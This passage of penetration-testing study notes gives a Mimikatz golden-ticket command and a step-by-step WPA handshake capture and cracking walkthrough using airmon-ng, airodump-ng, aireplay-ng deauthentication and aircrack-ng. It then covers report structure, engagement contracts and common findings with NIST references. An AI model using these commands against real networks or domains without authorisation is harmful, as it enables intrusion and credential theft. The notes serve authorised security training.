get ntlm hash of TGS account

kerberos::golden /User:Administrator /domain:DOMAIN.local /sid:COPIEDSID /
krbtgt:COPIEDHASH /id:500 /ptt

misc::cmd

Wireless Penetration Testing

MUST Have external WIFI card (ALFA antenna)

WIFI hacking Process

Place card in Monitor Mode

Discover Network information (SSID,Channel,BSSID)

Select network and capture data

Perform deauth attack

Capture WPA handshake

Attempt to crack the handshake

run iwconfig to ensure wireless card is present

airmon-ng check kill >> kills any process that may interrupt the process

airmon-ng start wlan0 >> set wireless card in monitor mode

airodump-ng wlan0mon >> shows all connections close by (look for MAC (bssid) and name) lower power level is closer to the antenna

airodum-ng -c CHANNEL# --bssid MACADDRESS -w FILENAME wlan0mon
wait for handshake to appear OR perform deauth and listen for handshake

DEAUTH Attack

aireplay-ng -0 1 -a BSSIDMAC -c CLIENTMAC wlan0mon

May have to run multiple times,multiple clients, but you will get the handshake eventually

.cap file that was produced can be used to crack the password, use wordlists to crack hashes

aircrack -w WORDLIST -b BSSIDMAC CAPTURE.CAP >> find Router passphrase with wordlists

Legal Documents and Reports

Report Writing

- Confidentiality Statement
- Point in Time statement
- Client Point of Contact
- Attacker Point of Contact
- Assessment Overview
- Assessment Components
- Findings Severity Rating
- Risk Factors (Likelihood and Impact)
- Scope
 - ◇ Exclusions
 - ◇ Allowances
- Executive Summary
 - ◇ Time Frame
 - ◇ Summary of Test
 - ◇ Discovery (ONLY CRITICAL)
 - ◇ Solution
- Strengths and Weaknesses
- Vulnerability Scan Info and Report
- Technical Findings
 - ◇ Most Critical to Least Critical
 - ◇ Description and Facts
 - ◇ Risk
 - ◇ Tools Used
 - ◇ References
 - ◇ Evidence (Screenshots)
- Remediation
- (Repeat for each finding)
- Informational findings
 - ◇ Current users with data
- Additional scans and reports
 - ◇ Nessus
 - ◇ Excel Sheet
 - ◇ Additional document

Common Documents

Sales Documents

Mutual Non-disclosure agreements (NDA)

Not allowed to talk about the findings I have discovered, and you can't discuss our methodology

Master Service Agreement (MSA)

Contractual document outlines objectives and responsibilities for each party.

Statement of Work (SOW)

Outlines activities, timelines, deliverables, payments

Others:

Sample Reports, Recommendation letters, etc.

PRE-Engagement

Rules of Engagement

Defines exact IP range, excluded machines/IP's. unauthorized testing (DoS, Social Engineering), DO NOT START UNTIL THIS IS SIGNED

Post Engagement

Findings Report

Describes what was found at a high-level, as well as technical details of how the test was conducted

Common Findings

Insufficient Authentication Controls

MFA not implemented, logins can be bypassed with password sprays and scans
Use VPN or ensure MFA is enabled everywhere
Usually High-Critical
NIST 800-53 IA-2(11)

Weak Password Policy

Logging in with "winter2021" usually means they have a bad password
Policy Password is public and viewable
Try to sign up
use denylists that block dictionary words/rockyou/other breached lists
NIST 800-63B

Insufficient Patching

Versions with open, known vulnerabilities and CVE's.

Legacy/Out of Date systems

Upgrade to latest patch/version

NIST 800-53 MA-6

NIST 800-53 SI-2

Default Credentials

Very fast compromise

VERY common (ALWAYS CHECK)

Change the manufacturer password immediately on opening

NIST 800-53 IA-5

Insufficient Encryption

MOST common

Not using HTTPS

Weak Ciphers (low for attack)

SSL/TLS1 / Sweet32 / RC4 / Self Signed

Disable weak ciphers

NIST 800-53 IA-2(11)

Information Disclosure

System/Error/User information

mDNS disclose hostname/architecture

Server response headers reveal infrastructure

OWASP - Improper Error Handling

Username Enumeration

Login Portals may provide username enumeration

Forgot Password feature reveals valid email

Synchronize error messages ("check your email")

Default Web Pages

Unconfigured / Test pages left open

Shows weak security posture for the organization

Try to directory bust and find other misconfigurations

Remove unused web app or add terms or service/other info

IKE Aggressive Mode

Aggressive mode allows for capture of VPN Pre Shared Key and gain access to network

Low likelihood but high impact

NIST 800-53 CM-7

Unexpected Perimeter Services

RDP, Telnet open from the internet

Note any services outward facing

Easily crackable

Insufficient Traffic Blocking

Is the site blocking traffic from random locations

<https://shotsherpa.com>

Limit attack surface and block odd traffic

NIST 800-53 CM-7

Undetected Malicious Activity

Did not detect scans, trojans, malware, etc used during testing

Review SIEM strategy and make improvements

Low-informational

List attacks missed and detected

Historical Account Compromise

Users and Passwords found in Breaches

HIGH-Critical

Review who is current employee, add passwords to deny list, users should not register for accounts with work email, avoid password reuse

NIST 800-53 MA-6

NIST 800-53 SI-2

Client Debriefing

Review report in PDF or Powerpoint

Talk about findings at 30,000ft

Common Issues

Tell story

Our job is to find bugs before the bad guys do

Occasionally may get pushback. Handle the adversity

Attestation Letter

A Proof of services rendered (Copy / Paste of Executive Summary)

Overall summary and conclusion

Client Retesting

Going back to test remediations made from findings

If it was fixed, Good job, but do not remove. Mark it as remediated

Project is not done until you retest